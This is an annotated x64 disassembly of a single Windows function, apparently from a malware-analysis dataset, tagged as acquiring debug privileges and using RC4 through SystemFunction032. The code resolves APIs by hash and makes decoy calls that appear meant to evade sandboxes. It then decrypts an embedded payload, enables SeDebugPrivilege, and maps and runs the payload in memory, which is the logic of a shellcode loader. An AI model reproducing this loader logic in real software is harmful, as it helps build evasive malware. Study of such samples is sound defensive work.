Function at 0x1400012b0
Capabilities:
Acquire debug privileges
Encrypt data using rc4 via systemfunction032

Disassembly:
push rbp
push rbx
push r13
push r14
lea rbp, [rsp - 0x3f]
sub rsp, 0xa8
xor r13d, r13d
mov ebx, r13d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [r13 + 8]
mov r8d, 0xff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400012f0
mov dword [rax], 0x50
mov rbx, rax
cmp dword [rbx], 0x15e
jle 0x14000135c
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterClassW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsWindowVisible]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
xor r9d, r9d
mov dword [rsp + 0x28], r13d
xor r8d, r8d
mov qword [rsp + 0x20], r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsDialogMessageW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 0x8e48c10
call section..text
mov r14, rax
test rax, rax
jne 0x140001394
lea eax, [r14 - 1]
add rsp, 0xa8
pop r14
pop r13
pop rbx
pop rbp
ret
mov qword [rsp + 0xe8], rsi
mov edx, 0x5386fb70
mov qword [rsp + 0xa0], rdi
mov rcx, r14
mov qword [rsp + 0x98], r12
mov qword [rsp + 0x90], r15
call fcn.140001140
mov edx, 0x65
xor ecx, ecx
lea r8d, [rdx - 0x5b]
call rax
mov edx, 0x51ee8d18
mov rcx, r14
mov rdi, rax
call fcn.140001140
mov rdx, rdi
xor ecx, ecx
call rax
mov edx, 0x896ac661
mov rcx, r14
mov rbx, rax
call fcn.140001140
mov rcx, rbx
call rax
mov edx, 0x603fae8
mov rcx, r14
mov rsi, rax
call fcn.140001140
mov rdx, rdi
xor ecx, ecx
call rax
mov edx, 0xd8d89c91
mov r15d, eax
mov rcx, r14
call fcn.140001140
xor r9d, r9d
mov qword [rsp + 0x28], r13
xor edx, edx
mov dword [rsp + 0x20], r15d
lea r8d, [r9 + 0x40]
lea rcx, [rdx - 1]
call rax
mov edx, 0x28f55dde
mov rcx, r14
mov rbx, rax
call fcn.140001140
xor r9d, r9d
mov qword [rbp + 0x77], rax
xor r8d, r8d
mov qword [rsp + 0x20], r15
mov rcx, rbx
lea edx, [r9 + 0x22]
call rax
mov r12, rax
mov r8d, r13d
test r15d, r15d
je 0x140001495
mov rdx, rax
sub rsi, rax
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rdx + rsi]
inc r8d
movsxd rax, r8d
mov byte [rdx], cl
lea rdx, [rdx + 1]
cmp rax, r15
jb 0x140001480
lea rax, section..data
mov dword [rbp - 0x39], 0x10
mov edx, 0xd4d024dc
mov qword [rbp - 0x31], rax
mov rcx, r14
mov dword [rbp - 0x35], 0x10
mov qword [rbp - 0x21], r12
mov dword [rbp - 0x29], r15d
mov dword [rbp - 0x25], r15d
call fcn.140001140
mov rdi, rax
lea rcx, str.ADVAPI32.DLL
call rdi
mov ecx, 0x5bc9ceef
call section..text
lea rcx, str.Advapi32
mov r15, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, [rbp - 0x39]
lea rcx, [rbp - 0x29]
call rbx
lea rax, [0x140003010]
mov dword [rbp - 0x19], 0x10
lea rsi, [0x140003020]
mov qword [rbp - 0x11], rax
lea rdx, [rbp - 0x19]
mov dword [rbp - 0x15], 0x10
lea rcx, [rbp - 9]
mov qword [rbp - 1], rsi
mov dword [rbp - 9], 0x336
mov dword [rbp - 5], 0x336
call rbx
lea rcx, str.PSAPI.DLL
call rdi
mov ecx, 0x3b89da71
call section..text
mov edx, 0xebc6f1e2
mov qword [rbp + 0x6f], r13
mov rcx, r15
mov qword [rbp + 0x67], r13
call fcn.140001140
mov edx, 0xba3cbfd2
mov rcx, r14
mov rbx, rax
call fcn.140001140
call rax
mov rcx, rax
lea r8, [rbp + 0x6f]
mov edx, 0x20
call rbx
test eax, eax
je 0x1400015f1
mov edx, 0x320916af
mov rcx, r15
call fcn.140001140
lea r8, [rbp + 0x67]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call rax
test eax, eax
je 0x1400015f1
mov rax, qword [rbp + 0x67]
mov edx, 0x44a781f6
mov rcx, r15
mov qword [rbp + 0xb], rax
mov dword [rbp + 7], 1
mov dword [rbp + 0x13], 2
call fcn.140001140
mov rcx, qword [rbp + 0x6f]
lea r8, [rbp + 7]
mov r9d, 0x10
mov qword [rsp + 0x28], r13
xor edx, edx
mov qword [rsp + 0x20], r13
call rax
mov edx, 0x6a6cf5f1
mov rcx, r14
call fcn.140001140
mov edx, 0xf419281c
mov rcx, r14
mov r13, rax
call fcn.140001140
xor ebx, ebx
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor edx, edx
mov r15, rax
mov dword [rsp + 0x20], 0x336
lea rcx, [rbx - 1]
lea r8d, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
mov qword [rsp + 0x20], 0x336
mov rcx, rax
lea edx, [rbx + 0x22]
xor r8d, r8d
call qword [rbp + 0x77]
lea rcx, [0x140003355]
mov r8d, ebx
mov rdi, rax
add rax, 0x335
cmp rdi, rcx
ja 0x14000166c
cmp rax, rsi
jae 0x14000170c
mov rdx, rdi
mov rax, rsi
mov ecx, 6
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001680
movups xmm0, xmmword [rax]
mov ecx, dword [rax + 0x30]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], ecx
movzx ecx, word [rax + 0x34]
mov word [rdx + 0x34], cx
nop word [rax + rax]
inc r8d
cmp r8d, 0x336
jb 0x140001700
movsxd rax, r8d
cmp rax, 0x336
jae 0x140001736
lea rcx, [rax + rdi]
sub rsi, rdi
nop
movzx eax, byte [rsi + rcx]
inc r8d
mov byte [rcx], al
lea rcx, [rcx + 1]
cmp r8d, 0x336
jb 0x140001720
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call r15
mov rbx, rax
xor r9d, r9d
xor eax, eax
mov r8, r12
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call r15
mov edx, 0xaf502582
mov qword [rbp + 0x17], rax
mov rcx, r14
mov qword [rbp + 0x1f], rbx
call fcn.140001140
xor r8d, r8d
lea rdx, [rbp + 0x17]
mov r9d, 0xffffffff
lea ecx, [r8 + 2]
call rax
xor r8d, r8d
mov rcx, rdi
lea edx, [r8 + 8]
call r13
mov r15, qword [rsp + 0x90]
xor eax, eax
mov r12, qword [rsp + 0x98]
mov rdi, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0xe8]
add rsp, 0xa8
pop r14
pop r13
pop rbx
pop rbp
ret